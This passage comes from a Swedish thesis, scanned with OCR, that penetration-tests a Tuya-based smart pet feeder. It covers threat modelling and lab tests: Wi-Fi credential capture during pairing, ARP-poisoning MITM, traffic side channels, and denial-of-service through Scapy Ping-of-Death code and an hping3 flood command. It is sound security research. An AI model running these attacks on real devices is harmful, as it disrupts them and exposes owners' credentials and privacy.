Angriparen skickar kommandon eller skadlig kod till program-
men som lyssnar pa de 6ppna portarna.
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Motatgird Programmen validerar input, tar enbart emot input fran kianda
IP-adresser, skickar data 6ver krypterade kanaler.

Uppskattad For en angripare som inte har tillgang till filsystemet och kan

sannolikhet dekompilera programmen ar sannolikheten lag for att lyckas

for en lyckad
attack

med att exekvera kod eller kommandon pa enheten via dess
Oppna portar eftersom angriparen inte vet hur inputen ska for-
materas for att programmen ska acceptera och exekvera dem.
For en angripare med tillgang till filsystemet stalls istillet hoga
krav pa skicklighet och kunskap for att lyckas hitta sarbarhet i
koden som kan utnyttjas for en fjarrkorning av kommandon el-
ler kod. Sannolikheten for en lyckad attack uppskattas darfor
vara lag/mellan.

Hot #5
Hotbeskriv- Angriparen kan avgora vilket tillstind foderautomaten ar i, till
ning exempel om enhetens kamera 6vervakas i mobilapplikationen

eller ej, eller om kamerans sensorer kanner av rorelser.

Angripen till-
ging

Wi-Fi.

Attackteknik | Angriparen lyssnar pa nitverket och analyserar dataflodet
till/fran enheten.

Motatgard Enheten maskerar variationer i trafikflodet.

Uppskattad Attacken har uppskattningsvis hog sannolikhet for att lyckas,

sannolikhet baserat pa tva tidigare lyckade studier av overvakningskameror

for en lyckad
attack

(se sektion 5.4). [73][74]
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Hot #6
Hotbeskriv- Angriparen laddar upp manipulerad firmware pa enheten och
ning far full kontroll 6ver dess funktioner.

Angripen till-
ging

Firmware.

for en lyckad
attack

Attackteknik | Angriparen imiterar servern och laddar upp manipulerad
firmware pa enheten eller lyssnar pa nitverket nir en
firmware-uppdatering sker och modifierar paketen ”i luften”.

Motatgird Firmware-uppdatering skickas over krypterad kanal, enheten
utfor firmware-validering.

Uppskattad Det kravs stor kunskap om enheten, tillgang till firmwaren och

sannolikhet en skicklig angripare for att modifiera firmwaren sa att den

kompatibel med hardvaran och ar fungerar som tankt. Sanno-
likheten for en lyckad attack uppskattas darfor vara lag.

Hot #7

Hotbeskriv-
ning

Angriparen far atkomst till firmwaren under en uppdatering.

Angripen till-
ging

Firmware.

Attackteknik | Angriparen lyssnar pa nitverket nir en firmware-uppdatering
sker och laddar ner paketen ”i luften”.

Motatgird Firmware-uppdateringen skickas oOver krypterad kanal,
firmware-uppdateringar omfattar endast nodvandiga fi-
ler/andringar.

Uppskattad Om firmware-bilden inte finns tillganglig pa internet och angri-

sannolikhet paren inte kan ladda ner firmware fran hardvaran kan angripa-

ren forsoka komma at den under en uppdatering. Attacken har
lag/mellan sannolikhet for att lyckas da attacken ar relativt latt
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for en lyckad
attack

att utfora och det finns mycket dokumentation om attacktekni-
ken att tillga, men tidigare observationer av trafiken till/fran
enheten pekar pa att uppdateringen sker over krypterad kanal.

Hot #8

Hotbeskriv-
ning

Angriparen kan se videoflodet utan auktorisering.

Angripen till-
ging

Videoflodet, 6ppna natverkstjanster.

for en lyckad
attack

Attackteknik | Angriparen lyssnar pa natverket nir enheten strommar video-
flodet. Angriparen kan ta del av videoflodet via 6ppna néatverks-
tjanster.

Motatgird Datatransfer over krypterad kanal, krypterat videoflode, inga
oppna tjanster for till exempel RTSP.

Uppskattad Foderautomatens videoflode ar krypterat och sannolikheten for

sannolikhet att kunna ta del av videoflodet utan auktorisering bedoms dar-

for vara lag.

Hot #9
Hotbeskriv- Angriparen kommer at inloggningsuppgifter till mobilapplikat-
ning ionen som skickas 6ver natverket.

Angripen till-
ging

Anvandarnamn och l6senord till mobilapplikationen.

Attackteknik

Angriparen utfor en MITM-attack och lyssnar pa natverket nar
anvandaren loggar in i mobilapplikationen.
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Motatgird

Datatransfer 6ver krypterad kanal, mobilapplikationen tillater
endast certifikat av betrodda CA, sdkra kryptografiska algorit-
mer anvands for att kryptera anvindarnamn och l6senord.

Uppskattad
sannolikhet
for en lyckad
attack

Attacken uppskattas ha lag/mellan sannolikhet att lyckas, da
attacktekniken ar enkel och en oerfaren angripare kan utfora
den, men tidigare observationer av trafiken till/frdn enheten
pekar pa att uppdateringen sker over krypterad kanal.

Hot #10

Hotbeskriv-
ning

Angriparen far full kontroll 6ver enheten och dess funktioner.

Angripen till-
ging

Foderautomatens funktioner.

for en lyckad
attack

Attackteknik | Angriparen imiterar MQTT-servern som enheten kommunice-
rar med och kan ta emot/skicka kommandon till/fran enheten.

Motatgard Kommunikation sker 6ver krypterad kanal, valideringsmekan-
ismer av servern.

Uppskattad All MQTT-data skickas 6ver TLSv1.2 och det finns sdledes ingen

sannolikhet information om hur MQTT-meddelandena ser ut. Detta gor det

svart att sitta upp en fungerande server for att skicka och ta
emot forfalskade meddelanden och péa sa sitt styra foderauto-
maten. Sannolikheten for en lyckad attack bedoms darfor vara
lag.

Hot #11

Hotbeskriv-
ning

Angriparen far kontroll 6ver enheten, stjial anvindarens identi-
tet och kommer at kinslig information.
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Angripen till-
ging

Mobilapplikationens APK.

Attackteknik

Angriparen andrar i mobilapplikationens APK for exekvering
av fraimmande kod och lurar anvindaren att ladda ner den ma-
nipulerade mobilapplikationen.

Motatgird

Mobilapplikationens APK finns inte tillgdnglig pa internet, mo-
biltelefonen tillater inte nedladdningar av applikationer fran
tredjepartsbutiker, mobilapplikationen upptiacker kodiand-
ringar vid kortid och forhindrar att den skadliga koden exekve-
ras.

Uppskattad
sannolikhet
for en lyckad
attack

Mobilapplikationen Tuya Smart anvands for alla Tuya-kompa-
tibla enheter och ar troligtvis en stor, komplex applikation. Mo-
bilapplikationens APK finns tillginglig pa internet men kraver
en skicklig angripare for att modifiera for att verka skadligt och
lura anvindaren att ladda ner denna frén en tredjepartsbutik.
Sannolikheten for en lyckad attack uppskattas darfor vara
lag/mellan.

Hot #12
Hotbeskriv- Angriparen far kunskap om servrar, systemets uppbyggnad och
ning funktioner, kryptografiska konstanter, nycklar med mera.

Angripen till-
ging

Mobilapplikationens APK.

Attackteknik | Angriparen dekompilerar och analyserar mobilapplikationens
APK.

Motatgard Mobilapplikationens APK finns inte tillgdnglig pa internet, ko-
den har forsvérats.

Uppskattad Mobilapplikationen Tuya Smart anvands for alla Tuya-kompa-

sannolikhet tibla enheter och ar troligtvis en stor, komplex applikation. Mo-

for en lyckad
attack

bilapplikationens APK finns tillginglig pa internet men kraver
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med stor sannolikhet en mycket skicklig angripare for att ana-
lyseras med foderautomaten som utgangspunkt. Sannolikheten
for en lyckad attack uppskattas darfor vara lag/mellan.

Hot #13

Hotbeskriv-
ning

Angriparen gor enheten otillgianglig.

Angripen till-
ging

Foderautomatens funktioner.

for en lyckad
attack

Attackteknik | Angriparen forbrukar enhetens batteri (powerbank) genom att
forbruka dess resurser, genom exempelvis overflodesattacker.

Motatgird Systemet tillater inte inkommande paket i for hog hastighet, sy-
stemet droppar fragmenterade paket med en datalingd som
overskrider dess MTU.

Uppskattad Om attackerna gar att utfora ar det troligt att enheten kraschar

sannolikhet innan batteriet ar helt forbrukat. For att denna attack ska lyckas

kravs det aven att angriparen vet att enheten drivs med batteri.
Sannolikheten for en lyckad attack uppskattas till lag/mellan.

Hot #14

Hotbeskriv-
ning

Angriparen gor enheten otillgianglig.

Angripen till-
ging

Foderautomatens funktioner.

Attackteknik

Angriparen 6verbelastar enhetens genom att forbruka dess re-
surser, genom exempelvis 6verflodesattacker.
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for en lyckad
attack

Motatgard Systemet tillater inte inkommande paket i for hog hastighet, sy-
stemet droppar fragmenterade paket med en dataliangd som
overskrider dess MTU.

Uppskattad Sannolikheten for en lyckad attack uppskattas till mellan. At-

sannolikhet tacken ar enkel och kan utforas av en oerfaren angripare.

Hot #15
Hotbeskriv- Angriparen gor systemet otillganglig och far full kontroll 6ver
ning det.

Angripen till-
ging

Mobilapplikationen.

for en lyckad
attack

Attackteknik | Angriparen laser ute anviandaren ur mobilapplikationen genom
en losenordsaterstillnings-attack.

Motatgard Tvafaktorsautentisering, ogissningsbara aterstallningslankar.

Uppskattad Om en anvandare har glomt sitt 16senord kan anviandaren be-

sannolikhet stilla en aterstallningslank till sin mejladress som ar kopplat till

kontot. Lanken innehaller en verifikationskod som ar giltig i 30
minuter som skrivs in i mobilapplikationen for att sedan lata
anvandaren vilja ett nytt 10senord. For att attacken ska lyckas
maste angriparen forst komma at anvandarens mejlkonto in-
nan anviandarens kan lasas ute och sannolikheten for en lyckad
attack bedoms darfor vara lag.

Hot #16

Hotbeskriv-
ning

Angriparen hittar kinslig information eller sarbarheter i foder-
automatens firmware.
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Angripen till- | Firmware.

ging

Attackteknik | Angriparen analyserar foderautomatens firmware.

Motatgird Firmwaren ar krypterad, filsystemets filer har forsvarats for
analys.

Uppskattad For analys av firmwaren finns flera olika program och tekniker

sannolikhet att tillgd. Filsystemet kan enkelt sokas igenom men demonte-

for en lyckad | ring och analys av binara filer kraver bade tid och en mycket

attack skicklig angripare. Sannolikheten for en lyckad attack upp-
skattas darfor vara lag/mellan.

6.6 Gradera hot
De dokumenterade hoten med mellan eller hog sannolikhet for en lyckad attack gra-
derades utifrain DREAD modellen, beskriven i sektion 3.1.3.

En totalpoang pa 12—15 innebar hog risk, 8—11 innebar medium risk och 5—7 innebar

lag risk.
Tabell 10: Hot graderade utifran DREAD modellen
ID Hot D |R |E Totalt
1 Angriparen far atkomst till SSID | 2 1 3 11
och l6senord till Wi-Fi.
2 Angriparen far atkomst till foder- | 3 3 3 13
automaten via Oppna portar.
5 Angriparen kan avgora vilket till- | 2 3 3 12

stand foderautomaten ar i, till ex-
empel om enhetens kamera overva-
kas i mobilapplikationen eller inte,
eller om kamerans sensorer kianner
av rorelser.
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7 Angriparen far atkomst till foder- | 3 2 2 1 3 11
automatens firmware under en upp-
datering.

9 Angriparen far atkomst till anvan- | 3 3 3 3 3 15

darnamn och l6senord till mobilap-
plikationen nar det skickas 6ver nat-
verket.

11 Angriparen modifierar mobilappli- | 3 2 2 3 3 13
kationens APK och lurar anvinda-
ren att ladda ner den skadliga mo-
bilapplikationen.

12 Angriparen laddar ner mobilappli- | 3 3 2 2 2 12
kationens APK och letar efter sar-
barheter eller kiansliga data.

14 Angriparen stor eller gor systemet | 2 3 3 3 3 14
otillgangligt genom att Ooverbelasta
foderautomaten.

16 Angriparen hittar kinslig informat- | 3 3 2 3 2 13
ion eller sarbarheter i foderautoma-
tens firmware.

6.7 Motivering for val av attacker

De graderade hoten hade alla mellan eller hog sannolikhet for en attack att lyckas
och var siledes intressanta att utforska narmre. Ordningen for vilka testerna utfor-
des baserades pa bade graderingen men ocksa pa om attacken och dess resultat
kunde ge ytterligare forstaelse och information kring systemet. Till exempel var det
forsta testet som utfordes en MITM-attack for att undersoka om en angripare kunde
komma at anvindarnamn och 16senord till mobilapplikationen, vilket ockséd gav in-
formation om dataflodet, protokoll och certifikat. Alla hot férutom #11 och #12 tes-
tades, vilka inte hanns med pa grund av tidsbrist. Ett ytterligare test genomfordes
for hot #3, trots att sannolikheten for en lyckad attack beriaknades vara ldg. Anled-
ningen till detta var att det kunde ge mer forstaelse for systemet fungerar och da ISE
lyckats skicka kommandon till en Petwant-foderautomat. [51]
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7 Penetrationstestning

Det hir kapitlet beskriver utrustning och verktyg som anviandes under penetrations-
testningsfasen och vilka penetrationstest som utfordes pa Trixie TXo.

7.1 Verktyg och utrustning
Enheterna som anvindes i penetrationstesterna listas i Tabell 11. Alla enheter var
uppkopplade mot samma natverk (2,4 GHz Wi-Fi).

Tabell 11: Enheter som anvandes under penetrationstesterna

Enhet IP-adress
Dator med Parrot OS 192.168.10.172
Dator med Mac OS 192.168.10.230

iPhone iOS med Tuya | 192.168.10.186

Smart installerad
Trixie TX9 192.168.10.151
Router 192.168.10.1

Parrot OS

Parrot OS ar Parrot Securitys egna GNU/Linux-distribution baserat pa Debian, som
fokuserar pa siakerhet, integritet och utveckling. Parrot OS ar gratis, lattviktig, gar
att anvanda pa hardvara med begriansade resurser och kommer med en mangd for-
installerad hacking-verktyg [80], vilket gor det lampligt att anvianda for penetrat-
ionstestning av en IoT-enhet.

Datorn med Parrot OS installerat anviandes i forsta hand under penetrationstesterna
och i de fall dar komplettering beh6vdes anviandes en dator med Mac OS.
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Ettercap

Ettercap ar ett program som anvands for MITM-attacker. Ettercap kan bland annat
detektera enheter, filtrera paket som skickas 6ver natverket och utféra ARP poiso-
ning attacker pa enheter pa samma LAN. [81]

Wireshark

Wireshark ar ett paketanalyseringsprogram som anvinds for att fanga upp paket
som skickas pa natverket. Programmet kan anvandas for niatverksfelsokning, analy-
sering och protokollutveckling med stod for 6ver 100 protokoll. [82]

mitmproxy
mitmproxy ar ett program som anvands som en proxyserver for att fanga upp HTTP-
och HTTPS-trafik mellan en klient och server under en MITM-attack. [83]

Nmap

Nmap ar ett verktyg for att upptiacka, hantera och monitorera natverk. Nmap kan
anvandas for att hitta enheter pa natverket, scanna portar, OS- och versionsdetek-
tera och ping-scanna. [84]

Scapy
Scapy ar ett Python-program for paketmanipulation och kan anviandas for att skicka,
fanga upp, analysera och forfalska natverkspaket.

Airmon-ng och Wireless Diagnostics

Airmon-ng ar ett skript som anvands for att aktivera monitoreringslage (eng. moni-
tor mode) pa tradlosa granssnitt [85] och finns forinstallerat i Parrot OS. Pa Mac OS
finns istallet verktyget Wirless Diagnostics som kan anviandas for att finga paket som
skickas pa det tradlosa natverket. [86]

w

iw ar ett CLI-verktyg for tradlosa enheter som kan visa och manipulera enheterna
och deras konfigurationer. Om hardvaran stodjer 6vervakningsliage kan iw anvindas
for att lagga till ett 6vervakningsgranssnitt. [87]

hping3

hping3 ar ett natverksverktyg for analysering av TCP/IP-paket. Det kan bland annat
anvandas for att skicka anpassade TCP/IP-paket, testa brandvaggar och portscanna.
[88]
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nc/netcat

netcat ar ett natverksverktyg for att lasa och skriva till natverksanslutningar som
kommunicerar 6éver TCP eller UDP. Verktyget kan bland annat anvidndas for att
oppna TCP-anslutningar, skicka UDP-paket, lyssna pd TCP- och UDP-portar och
portscanna. [89]

Ghidra
Ghidra ar ett program framtaget av amerikanska NSA som anvinds for att analysera
kod och program. Det har funktioner som demontering, montering och dekompile-

ring. [90]

Binwalk
Binwalk ar ett program som anviands for att extrahera inbaddade filsystem fran
firmware-bilder, analysera binéara filer och korbar kod. [91]

Firmwalker
Firmwalker ar ett bash-skript som soker igenom ett extraherat filsystem efter intres-
santa filer och nyckelord. [92]

7.2 Penetrationstester

7.2.1 MITM pa Smart Config
7.2.1.1 Introduktion

Foderautomaten anviander tekniken Smart Config for att natverkspara till Wi-Fi.

Attackvektorn for penetrationstestet ar MITM och malet ar att finga upp och avkoda
mobilapplikationens serie av UDP-meddelanden for att fa dtkomst till niatverkets
SSID och losenord. Det finns flera skript pa GitHub for att avkoda sekvensen av
UDP-meddelanden - ett av dem ar live-extract.py av Matt Elttam. [93]

7.2.1.2 Metod

Mobilen och Parrot kopplades upp till samma Wi-Fi. I Parrot startades ett 6vervak-
ningsgrassnitt for att monitorera all trafik pa det tradlosa natverket med hjalp av iw.

sudo iw dev wlan® interface add mon® type monitor

I en terminal i Parrot startades en modifierad version av skriptet live-extract.py.
Andringarna i skriptet utgick ifran att mobilapplikationen siinde ut 802.11 TKIP-pa-
ket. Foljande dndringar gjordes i skriptet (rad: kod):
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34: offset =136

36: interface = "mono”

64: if pkt.haslayer(Dot11TKIP):

112: init_seq_num = header_queue[3].TSo
117: index = (pkt.TSo — init_seq_num -1) % 256

I mobilen startades mobilapplikationen Tuya Smart och sattes i parningslage enligt
anvandarfall 1, beskrivet i sektion 6.2.1.

7.2.1.3 Resultat

Skriptet lyckades avkoda SSID och 16senord till Wi-Fi samt region, token och secret
fran parningstoken.

@parrot

hon

):17:¢0:2e

SECRET:"VfcL" SSID:"wifi" PASSWORD:"test"

Figur 4: Avkodade uppaqifter till Wi-Fi

7.2.1.4 Diskussion

Malet med testet var att finga upp UDP-meddelandena och avkoda dem for att fa
fram SSID och losenord till Wi-Fi - vilket lyckades. Skriptet avkodade dven region,
token och secret fran parningstoken som anvinds for att lanka enheten med Tuya-
kontot. [94] For att attacken ska lyckas kravs det att angriparen vet niar anvandaren
ska para sin enhet till Wi-Fi vilket i de flesta fall 4r osannolikt. Sarbarheten ar trots
det mycket allvarlig eftersom en lyckad attack resulterar i att exponera en otroligt
stor attackyta (anviandarens lokala natverk). Med atkomst till natverket kan en an-
gripare utféra mangder av attacker mot savil foderautomaten som andra uppkopp-
lade enheter och applikationer.

7.2.2 MITM pa mobilapplikationen

7.2.2.1 Introduktion

Attackvektorn for penetrationstestet ar spoofing och MITM pa mobilapplikationen.
Malet ar att avlyssna trafiken mellan Tuya Smart och routern for att ta reda pa om

trafiken och datapaketen skickas okrypterade och kinslig information som anvan-
darnamn och l6senord kan fangas upp.
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7.2.2.2 Metod

Mobilen med Tuya Smart, foderautomaten och Parrot kopplades upp till natverket.
I Ettercap scannades nitverket efter enheter och mobilens och routerns IP- och
MAC-adresser identifierades. Tva olika metoder anviandes for att omdirigera trafiken
till/fran mobiltelefonen si att den passerade angriparens dator. I bade fallen anvan-
des mitmproxy som proxyserver i Parrot och sattes upp enligt steg 1—3 i mitmproxys
guide till "transparent proxying”. [95]

Test 1) CA-certifikat p4 mobilen

I Parrot utfordes steg 1-3 i mitmproxys guide till "transparent proxying” [95] foljt av
att starta upp mitmproxy. I mobilen sattes en HTTP- proxyserver upp med Parrots
IP-adress som serveradress och mitmproxys standardport 8080. Pa mobilen ladda-
des mitmproxys CA-certifikat ned fran http://mitm.it och aktiverades genom att
ange tillit till certifikatet. [96][97] Nar Tuya Smart 6ppnades upp i mobilen skickades
all trafik till proxyserver (Parrot) som dekrypterade mobilapplikationens HTTPS-
trafik.

Test 2) ARP poisoning med Ettercap

En angripare har sillan fysisk tillgdng till enheterna som kommunicerar. I dessa fall
passar en transparent proxyserver battre. I detta test utfordes en ARP poisoning-
attack i Parrot med programmet Ettercap. I Ettercap angavs mobiltelefonens IP-
adress som “target 1” och routerns IP-adress som “target 2”. ARP meddelanden
skickades darefter ut pa natverket for att lanka mobiltelefonens och routers IP-
adresser med Parrots MAC-adress. Nar mobilen och routern sedan kommunicerade
skickades istillet all trafik till Parrot. Dar startades en transparent proxyserver enligt
steg 4 i mitmproxys guide till transparent proxying. [95]

7.2.2.3 Resultat

All data skickades krypterat 6ver TLSv1.3 med SSL-certifikatet GoDaddy. Genom
bada metoderna lyckades mitmproxy dekryptera trafiken och information om pake-
ten som skickades mellan Tuya Smart och routern kunde inspekteras. Vid inloggning
i mobilapplikationen uppticktes att ingen kiansliga data som anvandarnamn eller 16-
senord skickades i klartext.

Testerna utfordes dven vid ett senare tillfille did Tuya Smart hade uppdaterats till
version 3.22.0 och visade pa att Tuya Smart hade implementerat en sikerhetsatgard
dar mobilapplikationen inte lingre betrodde fraimmande certifikat och MITM-at-
tacken istillet misslyckades.
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Flow Details
com
1.91k 307ms

Request

[87/92]) [showhost][transparent] [*:8080)
Figur 5: En HTTPS post request for inloggning i Tuya Smart.

: [84/84] [showhost][transparent] [*:8080]

Figur 6: Efter uppdateringen litar mobilapplikationen inte pa frammande certifikat.

7.2.2.4 Diskussion

Malet med attacken var att finga upp och dekryptera trafik som skickades mellan
mobilen och servern, vilket lyckades till en borjan. Det forsta resultatet visade pa att
vissa sdkerhetsatgiarder var vidtagna for att forhindra MITM-attacker, till exempel
att inloggningsuppgifterna var krypterade. Samtidigt kunde attacken utforas utan att
bli pAkommen eller avfardad. Det andra resultatet visade istillet att Tuya Smart efter
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versionsuppdateringen inte langre litade pa fraimmande certifikat och trafiken kunde
inte inspekteras i mitmproxy. Det ar dock osdkert om mobilapplikationen validerade
hela certifikatskedjan. Penetrationstestet anses ha hog reliabilitet eftersom attack-
erna var enkla att utfora och foljde mitmproxys instruktioner, och resultaten var de-
samma for bada metoderna for respektive testomgang. Det andra resultatet, dar
mitmproxy inte lyckades dekryptera TLS-trafiken, var ovantat men uppskattat da
det visar pa att Tuya vidtagit ytterligare atgarder och aktivt jobbar med att 6ka sa-
kerhet i deras produkter vilket de ocksa visat pa nir andra sarbarheter uppdagats
offentligt.

7.2.3 MITM pa foderautomaten
7.2.3.1 Introduktion

Tva studier visar pa att man kunde avgora vilket tillstand en sagd overvakningska-
mera var i genom att bevaka mangden data som kameran skickade och tog emot 6ver
natverket. [73][74] Trixie TX9 ma vara en foderautomat i forsta hand, men med sin
kamera och mikrofon ar det stor risk att den ocksa delar sarbarheter med andra typer
av uppkopplade kameror. Attackvektorn som utforskas ar MITM, med malet att
overvaka mangden Wi-Fi-trafik som skickas fran foderautomaten for att avgora om
det gar att urskilja vilket tillstand foderautomaten ar i.

7.2.3.2 Metod

Foderautomaten, Parrot och Mac kopplades upp till Wi-Fi och i Parrot startades en
Wi-Fi monitor med airmon-ng for att satta det tradlosa granssnittet i monitorerings-
lage (eng. monitor mode). Wireshark anviandes for att 6vervaka Wi-Fi paketen pa
kanal 6, till och fran foderautomaten. Pa Mac startades samtidigt Wireless Diagnos-
tics Sniffer pa samma kanal for att jamfora resultaten. 8 olika tester gjordes, inspi-
rerade av [73], for att mita trafiken i foderautomatens olika lagen:

Test 1) 90 sekunder med fortackt kamera (ingen rorelse) med overvakning i mobil-
applikationen.

Test 2) 90 sekunder med fortackt kamera (med rorelse) med 6vervakning i mobilap-
plikationen.

Test 3) 90 sekunder med rorelse var 30:e sekund med rorelsedetektering aktiverad
utan 6vervakning i mobilapplikationen.

Test 4) 90 sekunder med rorelse var 30:e sekund med rorelsedetektering aktiverad
med 6vervakning i mobilapplikationen.
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Test 5) 90 sekunder med rorelse var 30:e sekund med rorelsedetektering avstangd
utan 6vervakning i mobilapplikationen.

Test 6) 90 sekunder med rorelse var 30:e sekund med rorelsedetektering avstangd
med 6vervakning i mobilapplikationen.

Test 7 och 8) Rorelsedetekteringen var aktiverad respektive avstiang for test 7 och 8.
Avlyssningen pagick i 150 sekunder enligt 5 faser:

1. 30 sekunder med fortackt kamera (ingen rorelse) utan 6vervakning i mobil-
applikationen.

2. 30 sekunder med fortackt kamera (ingen rorelse) med 6vervakning i mobil-

applikationen.

30 sekunder med rorelse med 6vervakning i mobilapplikationen.

30 sekunder med rorelse utan 6vervakning i mobilapplikationen.

30 sekunder med fortackt kamera utan overvakning i mobilapplikationen.

AN

7.2.3.3 Resultat
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Figur 13: Bytes/s for test 7 Figur 14: Bytes/s for test 8
7.2.3.4 Diskussion

Niar mobilapplikationen ar avstingd i fas 1, 4 och 5 i test 7 och 8 skickar foderauto-
maten ut en relativ konstant strom av sma UDP-meddelanden, vilket bekriftas av
resultatet av Figur 7 och Figur 11, och som dven noterats under hotmodelleringen.
Figur 8 och Figur 12 visar pa att en stilla bild med mobilapplikationen pa genererar
liknande méangd trafik som nar rorelsedetekteringen ar avstangd, rorelse sker och
mobilapplikationen ar paslagen. Under fas 2 och 3 nar mobilapplikationen ar 6ppen
och videoflodet strommar skickar foderautomaten en avsevirt storre mangd data,
vilket vi dven ser i Figur 8, Figur 10 och Figur 12. Figur 9 visar pa niar kameran upp-
tacker rorelse och notifierar anvandaren, vilket troligtvis ocksa forklarar topparna i
Figur 10. Det finns dock toppar i Figur 12 vilket gor att det inte gar att fastsla att
topparna i Figur 10 faktiskt ar dataflode genererat av rorelsedetekteringen. Det-
samma galler for test 7 och 8.

Det finns 3 distinkta kameraldgen som ar nar 1) videoflodet 6vervakades i mobilap-
plikationen, 2) mobilapplikationen var avstingd och 3) foderautomaten upptickte
rorelse nar mobilapplikationen var avstangd och rorelsedetekteringen var aktiverad.
Resultaten innebar att en angripare som avlyssnar Wi-Fi-trafiken till och fran foder-
automaten kan avgora vilket lage systemet ar i, om nagon vistas i samma rum som
foderautomaten och om adgaren bevakar videoflodet i mobilapplikationen. Detta ar
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vardefull information for en angripare som till exempel planerar att gora inbrott eller
vill kartldgga en anvandarens beteende. Det verkar daremot svarare, néastintill omoj-
ligt, att urskilja nar 6vervakning sker i mobilapplikationen och det ar rorelse i bild
respektive stilla bild.

Det krypterade videoflodet forhindrar att obehoriga kan 6vervaka husdjuret och
hemmet men resultatet av penetrationstestet visar att trafiken for videodata kan an-
vandas for spionage och kartlaggning av anvandaren sjalv.

Resultatet var viantat och inga forvantningar finns pa att denna sarbarhet kommer
atgardas. Dels for att det idag inte finns manga program som justerar eller maskerar
dataflodet till/fran IoT-enheter och dels for att sidkerheten sillan prioriteras, sarskilt
inte i en mindre produkt som en foderautomat.

Det finns en risk att den méanskliga faktorn i att siatta kameran i olika lagen paverkat
testernas reliabilitet, likasa genom att Wi-Fi uppkopplingen kan tappa paket eller
storas av andra frekvenser, fysiska hinder eller andra tradlosa enheter. Trots det an-
ses resultaten vara tillforlitliga i och med den betydande skillnad i skickad/mottagen
dataméngd i ovan namnda ldgen. Resultaten har dven stora likheter med resultaten
fran studierna gjorda av Klasmark et al. [73] och Apthorpe et al. [74].

7.2.4 Ping of Death
7.2.4.1 Introduktion

Attackvektorn som utforskas ar en DoS-attack. Malet ar att undersoka hur foder-
automaten hanterar stora, fragmenterade ICMP-paket och om det kan resultera i att
systemet stors eller slutar fungera. Foderautomaten har en MTU pa 65 535 bytes som
ocksa ar maxlangd for ett IP-paket. [98] Sedan attacken upptacktes i slutet pa 9o-
talet har manga servrar och operativsystem anpassats for att skyddas mot denna typ
av attack. Trots det utfors attacken da en lyckad attack kan ge allvarliga konsekven-
ser.

7.2.4.2 Metod

Parrot kopplades upp till samma natverk som foderautomaten. Tva typer av tester
gjordes for att skicka fragmenterade IP-paket med hjilp av programmet Scapy. 1
Wireshark overvakades ICMP paketen som skickades mellan Parrot och foderauto-
maten.

Test 1) I det forsta testet, som gjordes 15 ganger, skickades fragmenterade IP-paket
till en storlek av 60 000 bytes genom foljande kod i Scapy [99]:
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send(fragment(IP(dst="192.168.10.151")/ICMP())/("X"x60000)))

Test 2) Det andra testet gjordes baserades pa en laboration i datasidkerhet vid Uni-
versity of California Santa Barbara [100] dar de genom undersékningar kommit fram
till att paket som uppgar till mellan 65 493—66 592 bytes har visat sig vara mest ef-
fektiva i Ping of death-attacker. Test 2 ar baserat pa [73] dar en Ping of death-attack
utfordes mot en 6vervakningskamera med paket inom namnt storleksintervall. 45
fragmenterade paket skickades for varje IP-paket av storlek 7, genom skriptet nedan.

for i in range(1099):

data = 65493 + i
send(fragment (IP(dst="192.168.10.151")/ICMP()/("X"*data)))
time.sleep(1)

7.2.4.3 Resultat

Inga av testerna resulterade i forandrat beteende eller 6verbelastade foderautoma-
ten. Kameran fungerade som vanligt, rorelsesensorn och andra funktioner som ma-
nuell utfodring likasa.

7.2.4.4 Diskussion

Inga sarbarheter kunde hittas da foderautomaten motstod attacken och droppade
paket med en payload som Overskred 65 507 bytes (totalt 65 535 bytes inklusive IP-
och ICMP-header). Enheten verkade ocksa droppa stora fragmenterade paket vars
fragmentoffset + totala laingd uppgick till mer 4n 65 535 bytes. Testerna ar reprodu-
cerbara och konsekventa vilket gor resultatet palitligt.

7.2.5 ICMP flood
7.2.5.1 Introduktion

Attackvektorn som undersoks ar en typ av DoS-attack. Mélet med penetrationstestet
ar att undersoka om foderautomaten ar saker mot ett stort antal inkommande ICMP-
paket som skickas i snabb takt, en sa kallad ICMP flood-attack (flodesattack) eller
om foderautomaten blir 6verbelastad till den grad att enheten slutade fungera or-
dentligt.
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7.2.5.2 Metod

Parrot och foderautomaten kopplades upp till ssmma natverk och Wireshark star-
tades for att bevaka trafiken mellan enheterna. Attacken utférdes i hping3 med kom-
mandot:

hping3 -1 ——flood 192.168.10.151

Flaggan -1 betyder att det ar protokollet ICMP och ICMP echo request som ska
skickas och flaggan --flood anger att det ar en flood-attack dar hping3 skickar ut pa-
ket s& snabbt sd mgjligt utan att ta hansyn till inkommande ICMP echo replies fran
foderautomaten.

Attacken kordes 6 ganger niar mobilapplikationen var 6ppen och videoflodet strom-
made fran start och 6 ganger nar mobilapplikationen till en borjan var stangd och
sedan oppnades efter 10 sekunder. Under testerna studerades videoflodets kvalitet
och foderautomatens funktioner som rorelsedetekteringen och manuell utfodring.
Attackerna pagick i upp till 10 minuter.

7.2.5.3 Resultat

Gemensamt for test 1—6 var att videoflodet fros eller hackade inom 40 sekunder fran
start. Efter ett par sekunder till ndgon minut efter det brots foderautomatens kryp-
terade kanal med servern och mobilapplikationen. Nar kanalen forsokte upprattas
igen lyckades det for 2 av 6 tester men resulterade i att endast visa stillbilder eller
korta, hackiga videosekvenser. I ett av dessa tva fall brots kanalen kort darpa. Rorel-
sedetekteringen fungerade inte for nagot av testen. Manuella utfodringar gavs nar
videoflodet var pa eller nar kanalen forsokte upprattas igen och var ofta fordrojda
eller fungerade inte alls. I fa fall utfodrades de direkt. For 5 av 6 av dessa tester gick
enheten offline inom ca 8 minuter. For det resterande testet var enheten online i hela
10 minuter men gav endast upphov till stillbilder.

For test 7—12 dar mobilapplikationen 6ppnades forst efter 10 sekunder in i attacken
visade videoflodet till en borjan en stillbild eller hackigt videoflode som snart resul-
terade i att kanalen brots. Tva tester hade en bruten kanal fran start som aldrig gick
att ateruppratta. For de andra testerna kunde kanalen aterupprattas men gav bara
upphov till stillbilder. Liksom for de tidigare testerna fungerade inte rorelsedetekte-
ringen och den manuella utfodringen var opalitlig. Foderautomaten gick offline
inom 7 minuter for samtliga av dessa tester. Nagra sekunder efter det att enheten
gatt offline stoppades attacken i hping3. Efter ca 20—30 sekunder aterupprattade
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foderautomaten sin uppkoppling och var online i mobilapplikationen dar videoflodet
och andra funktioner fungerade som vanligt.

al Comvig 3G 17:50 CC@Y897% ol Comvig 3G 17:50 C@I78% %@ il Comvig 3G 17:50 CCIHIY%H
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Figur 15: Foderautomaten 6ver- Figur 16: Foderautomaten for- Figur 17: Foderautomaten gar
belastas och krypteringskanalen soker uppratta kanalen offline
bryts

7.2.5.4 Diskussion

Alla tester ledde till i att foderautomaten upphorde att fungera normalt redan fran
bérjan eller efter bara ett par sekunder. Aven om krypteringskanalen ibland lyckades
